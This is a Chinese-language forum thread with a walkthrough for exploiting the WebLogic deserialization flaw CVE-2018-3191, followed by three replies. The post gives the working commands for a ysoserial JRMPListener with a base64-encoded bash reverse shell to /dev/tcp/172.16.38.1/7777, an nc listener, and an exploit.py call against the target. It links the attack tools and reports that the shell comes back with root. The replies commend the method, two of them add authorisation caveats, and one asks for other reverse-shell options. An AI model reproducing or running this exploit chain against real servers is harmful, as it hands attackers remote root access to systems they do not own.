WebLogic远程代码执行-CVE-2018-3191
# CVE-2018-3191CVE-2018-3191 反弹shell
本地ip:172.16.38.1
Weblogic:172.16.38.174:7001
1、 本地执行
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
然后执行 nc -lvv 7777
(1) 其中的 bash 命令为避免Runtime.getRuntime().exec() 执行过程中将特殊符号转义,进行了base64转码解码的操作,明文为 bash -i >& /dev/tcp/172.16.38.1/7777 0>&1
(2) 此操作在本地监听一个JRMPListener,接收被攻击的weblogic 的请求,并执行指定的bash 反弹命令。
(3) Nc 监听7777等待weblogic 主机反弹bash连接。
2、 执行
python exploit.py 172.16.38.247 7001 weblogic-spring-jndi-10.3.6.0.jar 172.16.38.1 2222,利用漏洞使weblogic 访问远程rmi服务,并执行bash反弹命令。
3、 nc监听的端口收到反弹的bash,root权限。
攻击所需工具:
ysoserial-master.jar //反序列化利用工具https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
weblogic-spring-jndi-10.3.6.0.jar // CVE-2018-3191 payload生成工具
https://github.com/voidfyoo/CVE-2018-3191/releases
exploit.py //weblogic t3协议发送工具,集成CVE-2018-3191 payload
Re: WebLogic远程代码执行-CVE-2018-3191
感谢分享,这个复现过程很清晰,尤其是对 bash 命令做 base64 编码避免特殊符号转义的细节处理很实用。工具链接也都给出了,方便取证测试。提醒一下,这类漏洞复现请务必在自己授权的实验环境中进行,不要越权操作。另外,CVE-2018-3191 影响多个版本的 WebLogic,楼主用的是 10.3.6.0,其他版本可以留意下 payload 是否需要调整。再次感谢!Re: WebLogic远程代码执行-CVE-2018-3191
感谢分享,很详细的实战步骤。CVE-2018-3191这个漏洞影响范围较广,利用方式也比较成熟,你提供的这套流程(JRMPListener配合T3协议payload)确实是经典解法。建议在测试环境中使用,避免对生产系统造成影响。另需注意 `CommonsCollections1` 依赖目标环境的class版本,部分高版本JDK或补丁后可能失效,届时可尝试其他gadget链。工具链接也很有用,收藏了。Re: WebLogic远程代码执行-CVE-2018-3191
感谢分享,写得很详细,步骤清晰,base64处理命令行避免转义也是个实用技巧。请问在攻击过程中,WebLogic的版本是10.3.6.0吗?有没有测试过其他补丁级别?另外,如果目标环境没有bash,是否有替代的反弹方式可以一起放出来供参考?
页:
[1]